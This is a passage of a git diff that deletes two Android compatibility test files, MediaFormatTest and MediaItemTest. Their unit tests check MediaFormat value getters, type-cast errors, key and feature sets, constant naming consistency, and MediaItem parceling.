- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.annotation.NonNull;
-import android.media.MediaFormat;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
-import java.lang.reflect.Field;
-import java.nio.ByteBuffer;
-import java.util.stream.Collectors;
-import java.util.stream.Stream;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.Iterator;
-import java.util.List;
-import java.util.Set;
-
-public class MediaFormatTest extends AndroidTestCase {
-    private static final String TAG = "MediaFormatTest";
-    private static ByteBuffer defaultByteBuffer = ByteBuffer.allocateDirect(16);
-
-    private void assertGetByteBuffersThrowClassCastException(
-            MediaFormat format, String key, String type) {
-        try {
-            ByteBuffer value = format.getByteBuffer(key);
-            throw new AssertionError("read " + type + " as ByteBuffer " + value);
-        } catch (ClassCastException e) {
-        }
-
-        try {
-            ByteBuffer value = format.getByteBuffer(key, defaultByteBuffer);
-            throw new AssertionError("read " + type + " with default as ByteBuffer " + value);
-        } catch (ClassCastException e) {
-        }
-    }
-
-    private void assertGetFloatsThrowClassCastException(
-            MediaFormat format, String key, String type) {
-        try {
-            float value = format.getFloat(key);
-            throw new AssertionError("read " + type + " as float " + value);
-        } catch (ClassCastException e) {
-        }
-
-        try {
-            float value = format.getFloat(key, 321.f);
-            throw new AssertionError("read " + type + " with default as float " + value);
-        } catch (ClassCastException e) {
-        }
-    }
-
-    private void assertGetIntegersThrowClassCastException(
-            MediaFormat format, String key, String type) {
-        try {
-            int value = format.getInteger(key);
-            throw new AssertionError("read " + type + " as int " + value);
-        } catch (ClassCastException e) {
-        }
-
-        try {
-            int value = format.getInteger(key, 123);
-            throw new AssertionError("read " + type + " with default as int " + value);
-        } catch (ClassCastException e) {
-        }
-    }
-
-    private void assertGetLongsThrowClassCastException(
-            MediaFormat format, String key, String type) {
-        try {
-            long value = format.getLong(key);
-            throw new AssertionError("read " + type + " as long " + value);
-        } catch (ClassCastException e) {
-        }
-
-        try {
-            long value = format.getLong(key, 321L);
-            throw new AssertionError("read " + type + " with default as long " + value);
-        } catch (ClassCastException e) {
-        }
-    }
-
-    private void assertGetNumbersThrowClassCastException(
-            MediaFormat format, String key, String type) {
-        try {
-            Number value = format.getNumber(key);
-            throw new AssertionError("read " + type + " as Number " + value);
-        } catch (ClassCastException e) {
-        }
-
-        try {
-            Number value = format.getNumber(key, 321.f);
-            throw new AssertionError("read " + type + " with default as Number " + value);
-        } catch (ClassCastException e) {
-        }
-    }
-
-    private void assertGetStringsThrowClassCastException(
-            MediaFormat format, String key, String type) {
-        try {
-            String value = format.getString(key);
-            throw new AssertionError("read " + type + " as string " + value);
-        } catch (ClassCastException e) {
-        }
-
-        try {
-            String value = format.getString(key, "321");
-            throw new AssertionError("read " + type + " with default as string " + value);
-        } catch (ClassCastException e) {
-        }
-    }
-
-    public void testIntegerValue() throws Exception {
-        MediaFormat format = new MediaFormat();
-        format.setInteger("int", 123);
-
-        assertEquals(123, format.getInteger("int"));
-
-        // We should be able to read int values as numbers.
-        assertEquals(123, format.getNumber("int").intValue());
-        assertEquals(123, format.getNumber("int", 321).intValue());
-
-        // We should not be able to get an integer value as any other type. Instead,
-        // we should receive a ClassCastException
-        assertGetByteBuffersThrowClassCastException(format, "int", "int");
-        assertGetFloatsThrowClassCastException(format, "int", "int");
-        assertGetLongsThrowClassCastException(format, "int", "int");
-        assertGetStringsThrowClassCastException(format, "int", "int");
-
-        // We should not have a feature enabled for an integer value
-        try {
-            boolean value = format.getFeatureEnabled("int");
-            throw new AssertionError("read int as feature " + value);
-        } catch (IllegalArgumentException e) {
-        }
-
-        testSingleKeyRemoval(format, "int", MediaFormat.TYPE_INTEGER);
-    }
-
-    public void testLongValue() throws Exception {
-        MediaFormat format = new MediaFormat();
-        format.setLong("long", 9876543210L);
-
-        assertEquals(9876543210L, format.getLong("long"));
-
-        // We should be able to read long values as numbers.
-        assertEquals(9876543210L, format.getNumber("long").longValue());
-        assertEquals(9876543210L, format.getNumber("long", 9012345678L).longValue());
-
-        // We should not be able to get a long value as any other type. Instead,
-        // we should receive a ClassCastException
-        assertGetByteBuffersThrowClassCastException(format, "long", "long");
-        assertGetFloatsThrowClassCastException(format, "long", "long");
-        assertGetIntegersThrowClassCastException(format, "long", "long");
-        assertGetStringsThrowClassCastException(format, "long", "long");
-
-        // We should not have a feature enabled for a long value
-        try {
-            boolean value = format.getFeatureEnabled("long");
-            throw new AssertionError("read long as feature " + value);
-        } catch (IllegalArgumentException e) {
-        }
-
-        testSingleKeyRemoval(format, "long", MediaFormat.TYPE_LONG);
-    }
-
-    public void testFloatValue() throws Exception {
-        MediaFormat format = new MediaFormat();
-        format.setFloat("float", 3.14f);
-
-        assertEquals(3.14f, format.getFloat("float"));
-
-        // We should be able to read float values as numbers.
-        assertEquals(3.14f, format.getNumber("float").floatValue());
-        assertEquals(3.14f, format.getNumber("float", 2.81f).floatValue());
-
-        // We should not be able to get a float value as any other type. Instead,
-        // we should receive a ClassCastException
-        assertGetByteBuffersThrowClassCastException(format, "float", "float");
-        assertGetIntegersThrowClassCastException(format, "float", "float");
-        assertGetLongsThrowClassCastException(format, "float", "float");
-        assertGetStringsThrowClassCastException(format, "float", "float");
-
-        // We should not have a feature enabled for a float value
-        try {
-            boolean value = format.getFeatureEnabled("float");
-            throw new AssertionError("read float as feature " + value);
-        } catch (IllegalArgumentException e) {
-        }
-
-        testSingleKeyRemoval(format, "float", MediaFormat.TYPE_FLOAT);
-    }
-
-    public void testStringValue() throws Exception {
-        MediaFormat format = new MediaFormat();
-        format.setString("string", "value");
-
-        assertEquals("value", format.getString("string"));
-
-        // We should not be able to get a string value as any other type. Instead,
-        // we should receive a ClassCastException
-        assertGetByteBuffersThrowClassCastException(format, "string", "string");
-        assertGetFloatsThrowClassCastException(format, "string", "string");
-        assertGetIntegersThrowClassCastException(format, "string", "string");
-        assertGetLongsThrowClassCastException(format, "string", "string");
-        assertGetNumbersThrowClassCastException(format, "string", "string");
-
-        // We should not have a feature enabled for an integer value
-        try {
-            boolean value = format.getFeatureEnabled("string");
-            throw new AssertionError("read string as feature " + value);
-        } catch (IllegalArgumentException e) {
-        }
-
-        testSingleKeyRemoval(format, "string", MediaFormat.TYPE_STRING);
-    }
-
-    public void testByteBufferValue() throws Exception {
-        MediaFormat format = new MediaFormat();
-        ByteBuffer buffer = ByteBuffer.allocateDirect(123);
-        format.setByteBuffer("buffer", buffer);
-
-        assertEquals(buffer, format.getByteBuffer("buffer"));
-
-        // We should not be able to get a string value as any other type. Instead,
-        // we should receive a ClassCastException
-        assertGetFloatsThrowClassCastException(format, "buffer", "ByteBuffer");
-        assertGetIntegersThrowClassCastException(format, "buffer", "ByteBuffer");
-        assertGetLongsThrowClassCastException(format, "buffer", "ByteBuffer");
-        assertGetNumbersThrowClassCastException(format, "buffer", "ByteBuffer");
-        assertGetStringsThrowClassCastException(format, "buffer", "ByteBuffer");
-
-        // We should not have a feature enabled for an integer value
-        try {
-            boolean value = format.getFeatureEnabled("buffer");
-            throw new AssertionError("read ByteBuffer as feature " + value);
-        } catch (IllegalArgumentException e) {
-        }
-
-        testSingleKeyRemoval(format, "buffer", MediaFormat.TYPE_BYTE_BUFFER);
-    }
-
-    public void testNullStringValue() throws Exception {
-        MediaFormat format = new MediaFormat();
-        format.setString("null", null);
-        testNullOrMissingValue(format, "null");
-        testSingleKeyRemoval(format, "null", MediaFormat.TYPE_NULL);
-    }
-
-    public void testNullByteBufferValue() throws Exception {
-        MediaFormat format = new MediaFormat();
-        format.setByteBuffer("null", null);
-        testNullOrMissingValue(format, "null");
-        testSingleKeyRemoval(format, "null", MediaFormat.TYPE_NULL);
-    }
-
-    public void testMissingValue() throws Exception {
-        MediaFormat format = new MediaFormat();
-        // null values should be handled the same as missing values
-        assertEquals(MediaFormat.TYPE_NULL, format.getValueTypeForKey("missing"));
-        testNullOrMissingValue(format, "missing");
-    }
-
-    private void testSingleKeyRemoval(
-            MediaFormat format, String key, @MediaFormat.Type int type) {
-        assertEquals(type, format.getValueTypeForKey(key));
-        assertTrue(format.containsKey(key));
-
-        Set<String> keySet = format.getKeys();
-        assertEquals(1, keySet.size());
-        assertTrue(keySet.contains(key));
-
-        format.removeKey(key);
-        assertFalse(format.containsKey(key));
-
-        // test that keySet is connected to the format
-        assertFalse(keySet.contains(key));
-        assertEquals(0, keySet.size());
-    }
-
-    private static Set<String> asSet(String ... values) {
-        return new HashSet<>(Arrays.asList(values));
-    }
-
-    private void assertStringSetEquals(Set<String> set, String ... expected_members) {
-        Set<String> expected = new HashSet<>(Arrays.asList(expected_members));
-        assertEquals(expected, set);
-    }
-
-    public void testKeySetContainsAndRemove() {
-        MediaFormat format = new MediaFormat();
-        format.setInteger("int", 123);
-        format.setLong("long", 9876543210L);
-        format.setFloat("float", 321.f);
-        format.setFeatureEnabled("int", true);
-        format.setFeatureEnabled("long", false);
-        format.setFeatureEnabled("float", true);
-        format.setFeatureEnabled("string", false);
-
-        Set<String> keySet = format.getKeys();
-        // test size and contains
-        assertEquals(3, keySet.size());
-        assertTrue(keySet.contains("int"));
-        assertTrue(keySet.contains("long"));
-        assertTrue(keySet.contains("float"));
-        assertFalse(keySet.contains("string"));
-        assertStringSetEquals(keySet, "int", "long", "float");
-
-        // test adding an element
-        format.setString("string", "value");
-
-        // test that key set reflects format change in size and contains
-        assertEquals(4, keySet.size());
-        assertTrue(keySet.contains("int"));
-        assertTrue(keySet.contains("long"));
-        assertTrue(keySet.contains("float"));
-        assertTrue(keySet.contains("string"));
-
-        // test iterator
-        {
-            Set<String> toFind = asSet("int", "long", "float", "string");
-            Iterator<String> it = keySet.iterator();
-            while (it.hasNext()) {
-                String k = it.next();
-                assertTrue(toFind.remove(k));
-            }
-            assertEquals(0, toFind.size());
-        }
-
-        // remove via format
-        format.removeKey("float");
-
-        // test that key set reflects format change in size and contains
-        assertEquals(3, keySet.size());
-        assertTrue(keySet.contains("int"));
-        assertTrue(keySet.contains("long"));
-        assertFalse(keySet.contains("float"));
-        assertTrue(keySet.contains("string"));
-
-        // re-test iterator after removal
-        {
-            Set<String> toFind = asSet("int", "long", "string");
-            for (String k : keySet) {
-                assertTrue(toFind.remove(k));
-            }
-            assertEquals(0, toFind.size());
-        }
-
-        // test remove
-        keySet.remove("long");
-        assertEquals(2, keySet.size());
-        assertTrue(keySet.contains("int"));
-        assertFalse(keySet.contains("long"));
-        assertFalse(keySet.contains("float"));
-        assertTrue(keySet.contains("string"));
-        assertTrue(format.containsKey("int"));
-        assertFalse(format.containsKey("long"));
-        assertFalse(format.containsKey("float"));
-        assertTrue(format.containsKey("string"));
-
-        // test iterator by its interface as well as its remove
-        {
-            Set<String> toFind = asSet("int", "string");
-            Iterator<String> it = keySet.iterator();
-            while (it.hasNext()) {
-                String k = it.next();
-                assertTrue(toFind.remove(k));
-                if (k.equals("int")) {
-                    it.remove();
-                }
-            }
-            assertEquals(0, toFind.size());
-        }
-
-        // test that removing via iterator also removes from format
-        assertEquals(1, keySet.size());
-        assertFalse(keySet.contains("int"));
-        assertFalse(keySet.contains("long"));
-        assertFalse(keySet.contains("float"));
-        assertTrue(keySet.contains("string"));
-        assertFalse(format.containsKey("int"));
-        assertFalse(format.containsKey("long"));
-        assertFalse(format.containsKey("float"));
-        assertTrue(format.containsKey("string"));
-
-        // verify that features are still present
-        assertTrue(format.getFeatureEnabled("int"));
-        assertFalse(format.getFeatureEnabled("long"));
-        assertTrue(format.getFeatureEnabled("float"));
-        assertFalse(format.getFeatureEnabled("string"));
-    }
-
-    public void testFeatureKeySetContainsAndRemove() {
-        MediaFormat format = new MediaFormat();
-        format.setInteger("int", 123);
-        format.setLong("long", 9876543210L);
-        format.setFloat("float", 321.f);
-        format.setString("string", "value");
-        format.setFeatureEnabled("int", true);
-        format.setFeatureEnabled("long", false);
-        format.setFeatureEnabled("float", true);
-
-        Set<String> featureSet = format.getFeatures();
-        // test size and contains
-        assertEquals(3, featureSet.size());
-        assertTrue(featureSet.contains("int"));
-        assertTrue(featureSet.contains("long"));
-        assertTrue(featureSet.contains("float"));
-        assertFalse(featureSet.contains("string"));
-        assertStringSetEquals(featureSet, "int", "long", "float");
-
-        // test adding an element
-        format.setFeatureEnabled("string", false);
-
-        // test that key set reflects format change in size and contains
-        assertEquals(4, featureSet.size());
-        assertTrue(featureSet.contains("int"));
-        assertTrue(featureSet.contains("long"));
-        assertTrue(featureSet.contains("float"));
-        assertTrue(featureSet.contains("string"));
-
-        // test iterator
-        {
-            Set<String> toFind = asSet("int", "long", "float", "string");
-            Iterator<String> it = featureSet.iterator();
-            while (it.hasNext()) {
-                String k = it.next();
-                assertTrue(toFind.remove(k));
-            }
-            assertEquals(0, toFind.size());
-        }
-
-        // test that features cannot be removed via format as keys, even though for backward
-        // compatibility, they can be accessed as integers and can be found via containsKey
-        format.removeKey("feature-float");
-        assertEquals(4, featureSet.size());
-        assertTrue(featureSet.contains("float"));
-
-        format.removeFeature("float");
-
-        // TODO: deprecate this usage
-        assertEquals(1, format.getInteger("feature-int"));
-        assertEquals(0, format.getInteger("feature-long"));
-        assertTrue(format.containsKey("feature-int"));
-
-        // Along these lines also verify that this is not true for the getKeys() set
-        assertFalse(format.getKeys().contains("feature-int"));
-
-        // Also verify that getKeys() cannot be used to remove a feature
-        assertFalse(format.getKeys().remove("feature-int"));
-
-        // test that key set reflects format change in size and contains
-        assertEquals(3, featureSet.size());
-        assertTrue(featureSet.contains("int"));
-        assertTrue(featureSet.contains("long"));
-        assertFalse(featureSet.contains("float"));
-        assertTrue(featureSet.contains("string"));
-
-        // re-test iterator after removal
-        {
-            Set<String> toFind = asSet("int", "long", "string");
-            for (String k : featureSet) {
-                assertTrue(toFind.remove(k));
-            }
-            assertEquals(0, toFind.size());
-        }
-
-        // test remove via set
-        featureSet.remove("long");
-        assertEquals(2, featureSet.size());
-        assertTrue(featureSet.contains("int"));
-        assertFalse(featureSet.contains("long"));
-        assertFalse(featureSet.contains("float"));
-        assertTrue(featureSet.contains("string"));
-
-        assertTrue(format.containsFeature("int"));
-        assertFalse(format.containsFeature("long"));
-        assertFalse(format.containsFeature("float"));
-        assertTrue(format.containsFeature("string"));
-
-        assertTrue(format.getFeatureEnabled("int"));
-        try {
-            format.getFeatureEnabled("long");
-            fail("should not contain feature long");
-        } catch (IllegalArgumentException e) {}
-        try {
-            format.getFeatureEnabled("float");
-            fail("should not contain feature float");
-        } catch (IllegalArgumentException e) {}
-        assertFalse(format.getFeatureEnabled("string"));
-
-        // test iterator by its interface as well as its remove
-        {
-            Set<String> toFind = asSet("int", "string");
-            Iterator<String> it = featureSet.iterator();
-            while (it.hasNext()) {
-                String k = it.next();
-                assertTrue(toFind.remove(k));
-                if (k.equals("int")) {
-                    it.remove();
-                }
-            }
-            assertEquals(0, toFind.size());
-        }
-
-        // test that removing via iterator also removes from format
-        assertEquals(1, featureSet.size());
-        assertFalse(featureSet.contains("int"));
-        assertFalse(featureSet.contains("long"));
-        assertFalse(featureSet.contains("float"));
-        assertTrue(featureSet.contains("string"));
-
-        assertFalse(format.containsFeature("int"));
-        assertFalse(format.containsFeature("long"));
-        assertFalse(format.containsFeature("float"));
-        assertTrue(format.containsFeature("string"));
-
-        try {
-            format.getFeatureEnabled("int");
-            fail("should not contain feature int");
-        } catch (IllegalArgumentException e) {}
-        try {
-            format.getFeatureEnabled("long");
-            fail("should not contain feature long");
-        } catch (IllegalArgumentException e) {}
-        try {
-            format.getFeatureEnabled("float");
-            fail("should not contain feature float");
-        } catch (IllegalArgumentException e) {}
-        assertFalse(format.getFeatureEnabled("string"));
-
-        // verify that keys are still present
-        assertEquals(123, format.getInteger("int"));
-        assertEquals(9876543210L, format.getLong("long"));
-        assertEquals(321.f, format.getFloat("float"));
-        assertEquals("value", format.getString("string"));
-    }
-
-    private void testNullOrMissingValue(MediaFormat format, String key) throws Exception {
-        // We should not be able to get a string value as any primitive type. Instead,
-        // we should receive a NullPointerException
-        try {
-            int value = format.getInteger(key);
-            throw new AssertionError("read " + key + " as int " + value);
-        } catch (NullPointerException e) {
-        }
-
-        try {
-            long value = format.getLong(key);
-            throw new AssertionError("read " + key + " as long " + value);
-        } catch (NullPointerException e) {
-        }
-
-        try {
-            float value = format.getFloat(key);
-            throw new AssertionError("read " + key + " as float " + value);
-        } catch (NullPointerException e) {
-        }
-
-        // We should get null for all object types (ByteBuffer, Number, String)
-        assertNull(format.getNumber(key));
-        assertNull(format.getString(key));
-        assertNull(format.getByteBuffer(key));
-
-        // We should get the default value for all getters with default
-        assertEquals(123, format.getInteger(key, 123));
-        assertEquals(321L, format.getLong(key, 321L));
-        assertEquals(321.f, format.getFloat(key, 321.f));
-        assertEquals(321.f, format.getNumber(key, 321.f));
-        assertEquals("value", format.getString(key, "value"));
-        assertEquals(defaultByteBuffer, format.getByteBuffer(key, defaultByteBuffer));
-
-        // We should not have a feature enabled for a null value
-        try {
-            boolean value = format.getFeatureEnabled(key);
-            throw new AssertionError("read " + key + " as feature " + value);
-        } catch (IllegalArgumentException e) {
-        }
-    }
-
-    public void testMediaFormatConstructors() {
-        MediaFormat format;
-        {
-            String[] audioMimeTypes = { MediaFormat.MIMETYPE_AUDIO_AAC,
-                    MediaFormat.MIMETYPE_AUDIO_MPEGH_MHA1, MediaFormat.MIMETYPE_AUDIO_MPEGH_MHM1 };
-            for (String mime : audioMimeTypes) {
-                format = MediaFormat.createAudioFormat(mime, 48000, 6);
-                assertEquals(mime, format.getString(MediaFormat.KEY_MIME));
-                assertEquals(48000, format.getInteger(MediaFormat.KEY_SAMPLE_RATE));
-                assertEquals(6, format.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
-                assertEquals(3, format.getKeys().size());
-                assertEquals(0, format.getFeatures().size());
-            }
-        }
-
-        {
-            format = MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 1920, 1080);
-            assertEquals(MediaFormat.MIMETYPE_VIDEO_AVC, format.getString(MediaFormat.KEY_MIME));
-            assertEquals(1920, format.getInteger(MediaFormat.KEY_WIDTH));
-            assertEquals(1080, format.getInteger(MediaFormat.KEY_HEIGHT));
-            assertEquals(3, format.getKeys().size());
-            assertEquals(0, format.getFeatures().size());
-        }
-
-        {
-            format = MediaFormat.createSubtitleFormat(MediaFormat.MIMETYPE_TEXT_VTT, "und");
-            assertEquals(MediaFormat.MIMETYPE_TEXT_VTT, format.getString(MediaFormat.KEY_MIME));
-            assertEquals("und", format.getString(MediaFormat.KEY_LANGUAGE));
-            assertEquals(2, format.getKeys().size());
-            assertEquals(0, format.getFeatures().size());
-
-            format.setFeatureEnabled("feature1", false);
-
-            // also test dup
-            MediaFormat other = new MediaFormat(format);
-            format.setString(MediaFormat.KEY_LANGUAGE, "un");
-            other.setInteger(MediaFormat.KEY_IS_DEFAULT, 1);
-            other.setFeatureEnabled("feature1", true);
-
-            assertEquals(MediaFormat.MIMETYPE_TEXT_VTT, format.getString(MediaFormat.KEY_MIME));
-            assertEquals("un", format.getString(MediaFormat.KEY_LANGUAGE));
-            assertEquals(2, format.getKeys().size());
-            assertFalse(format.getFeatureEnabled("feature1"));
-            assertEquals(1, format.getFeatures().size());
-
-            assertEquals(MediaFormat.MIMETYPE_TEXT_VTT, other.getString(MediaFormat.KEY_MIME));
-            assertEquals("und", other.getString(MediaFormat.KEY_LANGUAGE));
-            assertEquals(1, other.getInteger(MediaFormat.KEY_IS_DEFAULT));
-            assertEquals(3, other.getKeys().size());
-            assertTrue(other.getFeatureEnabled("feature1"));
-            assertEquals(1, other.getFeatures().size());
-        }
-    }
-
-    /**
-     * Check MediaFormat key name and string value consistency.
-     *
-     * The canonical key reads something like this:
-     * KEY_SOMETHING_HERE = "something-here";
-     *
-     * An exclusion list allows arbitrary keys as needed.
-     *
-     * This test uses introspection to find the key fields.
-     *
-     * @throws Exception
-     */
-    public void testKeyConsistency() throws Exception {
-        // Legacy MediaFormat keys inconsistent with the canonical format.
-        final Set<String> exclusions = Stream.of(
-            // <aac-drc-[cut-level]>
-            "KEY_AAC_DRC_ATTENUATION_FACTOR",
-            // <aac-drc-boost-[level]>
-            "KEY_AAC_DRC_BOOST_FACTOR",
-            // <aac-[target-ref]-level>
-            "KEY_AAC_DRC_TARGET_REFERENCE_LEVEL",
-            // <...c-max-output-channel[_]count>
-            "KEY_AAC_MAX_OUTPUT_CHANNEL_COUNT",
-            // <bit[]rate>
-            "KEY_BIT_RATE",
-            // <create-input-[buffers]-suspended>
-            "KEY_CREATE_INPUT_SURFACE_SUSPENDED",
-            // <duration[u]s>
-            "KEY_DURATION",
-            // <grid-col[]s>
-            "KEY_GRID_COLUMNS",
-            // <h[w]-av-sync-id>
-            "KEY_HARDWARE_AV_SYNC_ID",
-            // <max-bit[]rate>
-            "KEY_MAX_BIT_RATE",
-            // <max-b[]frames>
-            "KEY_MAX_B_FRAMES",
-            // <[sar]-height>
-            "KEY_PIXEL_ASPECT_RATIO_HEIGHT",
-            // <[sar]-width>
-            "KEY_PIXEL_ASPECT_RATIO_WIDTH",
-            // <prepend-[sps-pps-to-idr]-frames>
-            "KEY_PREPEND_HEADER_TO_SYNC_FRAMES",
-            // <...h-blank-buffers-on-s[hutdown]>
-            "KEY_PUSH_BLANK_BUFFERS_ON_STOP",
-            // <rotation[-degrees]>
-            "KEY_ROTATION",
-            // <t[s-schema]>
-            "KEY_TEMPORAL_LAYERING"
-            ).collect(Collectors.toCollection(HashSet::new));
-
-        ArrayList<String> failures = new ArrayList<>();
-        final Field[] fields = MediaFormat.class.getFields();
-        for (Field field : fields) {
-            final String key = field.getName();
-            if (!key.startsWith("KEY_")) continue;
-            if (exclusions.contains(key)) continue;
-
-            if (!key.equals(key.toUpperCase())) {
-                failures.add("Key field " + key + " must be upper case");
-            }
-            final String value = (String)field.get(null);
-            assertEquals("String value " + value + " must be lower case",
-                    value.toLowerCase(), value);
-
-            // What do we expect the key should look like for the value?
-            final String checkKey = "KEY_" + value.toUpperCase().replace('-', '_');
-            if (!checkKey.equals(key)) {
-                failures.add("Key field " + key + " should represent value " + value
-                        + " expected(" + checkKey + ")");
-            }
-        }
-        // There may be special vendor keys that are public.
-        // Log failures but don't fail test.
-        logFailures("testKeyConsistency", failures);
-    }
-
-    /**
-     * Check MediaFormat mime type field name and string value consistency.
-     *
-     * The typical mime type field reads as follows:
-     * MIMETYPE_CATEGORY_ANYCASE_HERE = "category/anYCaSE[-.+]HeRE";
-     *
-     * See here for the Internet Assigned Numbers Authority (IANA) list of media mime types:
-     * https://www.iana.org/assignments/media-types/media-types.xhtml
-     *
-     * An exclusion list allows arbitrary keys as needed.
-     *
-     * This test uses introspection to find the mime type fields.
-     *
-     * @throws Exception
-     */
-    public void testMimeTypeConsistency() throws Exception {
-        // Legacy inconsistent mime types with the exception
-        final Set<String> exclusions = Stream.of(
-                // <audio/[mp4a-latm]>
-                "MIMETYPE_AUDIO_AAC",
-                // <audio/[3gpp]>
-                "MIMETYPE_AUDIO_AMR_NB",
-                // audio/mhm1
-                "MIMETYPE_AUDIO_MPEGH_MHM1",
-                // audio/mha1
-                "MIMETYPE_AUDIO_MPEGH_MHA1",
-                // <audio/[]gsm>
-                "MIMETYPE_AUDIO_MSGSM",
-                // <image/[vnd.android.]heic>
-                "MIMETYPE_IMAGE_ANDROID_HEIC",
-                // <[application/x-]subrip>
-                "MIMETYPE_TEXT_SUBRIP",
-                // <video/av[0]1>
-                "MIMETYPE_VIDEO_AV1",
-                // <video/[3gpp]>
-                "MIMETYPE_VIDEO_H263",
-                // <video/mp[4v-es]>
-                "MIMETYPE_VIDEO_MPEG4",
-                // <video/[x-vnd.on2.]vp8>
-                "MIMETYPE_VIDEO_VP8",
-                // <video/[x-vnd.on2.]vp9>
-                "MIMETYPE_VIDEO_VP9"
-        ).collect(Collectors.toCollection(HashSet::new));
-
-        ArrayList<String> failures = new ArrayList<>();
-        final Field[] fields = MediaFormat.class.getFields();
-        for (Field field : fields) {
-            final String mimeType = field.getName();
-
-            if (!mimeType.startsWith("MIMETYPE_")) continue;
-            if (exclusions.contains(mimeType)) continue;
-
-            if (!mimeType.equals(mimeType.toUpperCase())) {
-                failures.add("mimeType field " + mimeType + " must be upper case");
-                continue;
-            }
-            final String value = (String)field.get(null);
-
-            // What do we expect the mime type field should be for the value?
-            final String checkMime = "MIMETYPE_"
-                    + value.toUpperCase().replace('/', '_').replace('-', '_')
-                            .replace('.', '_').replace('+', '_');
-            if (!mimeType.equals(checkMime)) {
-                failures.add("Mime type " + mimeType
-                        + " should represent value " + value
-                        + " expected(" + checkMime + ")");
-            }
-        }
-        // There may be special vendor keys that are public.
-        // Log failures but don't fail test.
-        logFailures("testMimeTypeConsistency", failures);
-    }
-
-    private static final String REPORT_LOG_NAME = "CtsMediaTestCases";
-    private static final int REPORT_SUMMARY_MAX_KEY_LEN = 240;
-
-    /**
-     * Log failures on atest, but don't raise an exception or fail CTS.
-     *
-     * This part is tricky:
-     * 1) We create a device report log so it is visible on the host.
-     * 2) We also write to logcat.
-     */
-    private static void logFailures(@NonNull String logName, @NonNull List<String> failures) {
-        if (failures.size() > 0) {
-            DeviceReportLog log = new DeviceReportLog(REPORT_LOG_NAME, logName);
-            StringBuilder sb = new StringBuilder("FAILED ON: ");
-            int i = 0;
-            for (String failure : failures) {
-                Log.w(TAG, failure);
-                log.addValue("failure_" + i++, failure, ResultType.NEUTRAL, ResultUnit.NONE);
-                sb.append("[" + failure + "] ");
-            }
-            if (sb.length() > REPORT_SUMMARY_MAX_KEY_LEN) {
-                sb.setLength(REPORT_SUMMARY_MAX_KEY_LEN);
-            }
-            log.setSummary(sb.toString(), failures.size(),
-                    ResultType.LOWER_BETTER, ResultUnit.COUNT);
-            log.submit(InstrumentationRegistry.getInstrumentation());
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaItemTest.java b/tests/tests/media/src/android/media/cts/MediaItemTest.java
deleted file mode 100644
index 75235c9..0000000
--- a/tests/tests/media/src/android/media/cts/MediaItemTest.java
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.media.MediaDescription;
-import android.media.browse.MediaBrowser.MediaItem;
-import android.os.Parcel;
-import android.test.AndroidTestCase;
-import android.text.TextUtils;
-
-/**
- * Test {@link android.media.browse.MediaBrowser.MediaItem}.
- */
-@NonMediaMainlineTest
-public class MediaItemTest extends AndroidTestCase {
-    private static final String DESCRIPTION = "test_description";
-    private static final String MEDIA_ID = "test_media_id";
-    private static final String TITLE = "test_title";
-    private static final String SUBTITLE = "test_subtitle";
-
-    public void testBrowsableMediaItem() {
-        MediaDescription description = new MediaDescription.Builder()
-                .setDescription(DESCRIPTION).setMediaId(MEDIA_ID)
-                .setTitle(TITLE).setSubtitle(SUBTITLE).build();
-        MediaItem mediaItem = new MediaItem(description, MediaItem.FLAG_BROWSABLE);
-
-        assertEquals(description.toString(), mediaItem.getDescription().toString());
-        assertEquals(MEDIA_ID, mediaItem.getMediaId());
-        assertEquals(MediaItem.FLAG_BROWSABLE, mediaItem.getFlags());
-        assertTrue(mediaItem.isBrowsable());
-        assertFalse(mediaItem.isPlayable());
-        assertEquals(0, mediaItem.describeContents());
-        assertFalse(TextUtils.isEmpty(mediaItem.toString()));
-
-        // Test writeToParcel
-        Parcel p = Parcel.obtain();
-        mediaItem.writeToParcel(p, 0);
-        p.setDataPosition(0);
-
-        MediaItem mediaItemFromParcel = MediaItem.CREATOR.createFromParcel(p);
-        assertNotNull(mediaItemFromParcel);
-        assertEquals(mediaItem.getFlags(), mediaItemFromParcel.getFlags());
-        assertEquals(description.toString(), mediaItem.getDescription().toString());
-        p.recycle();
-    }
-
-    public void testPlayableMediaItem() {
-        MediaDescription description = new MediaDescription.Builder()
-                .setDescription(DESCRIPTION).setMediaId(MEDIA_ID)
-                .setTitle(TITLE).setSubtitle(SUBTITLE).build();
-        MediaItem mediaItem = new MediaItem(description, MediaItem.FLAG_PLAYABLE);
-
-        assertEquals(description.toString(), mediaItem.getDescription().toString());
-        assertEquals(MEDIA_ID, mediaItem.getMediaId());
-        assertEquals(MediaItem.FLAG_PLAYABLE, mediaItem.getFlags());
-        assertFalse(mediaItem.isBrowsable());
-        assertTrue(mediaItem.isPlayable());
-        assertEquals(0, mediaItem.describeContents());
-        assertFalse(TextUtils.isEmpty(mediaItem.toString()));
-
-        // Test writeToParcel
-        Parcel p = Parcel.obtain();
-        mediaItem.writeToParcel(p, 0);
-        p.setDataPosition(0);
-
-        MediaItem mediaItemFromParcel = MediaItem.CREATOR.createFromParcel(p);
-        assertNotNull(mediaItemFromParcel);
-        assertEquals(mediaItem.getFlags(), mediaItemFromParcel.getFlags());
-        assertEquals(description.toString(), mediaItem.getDescription().toString());
-        p.recycle();
-    }
-}
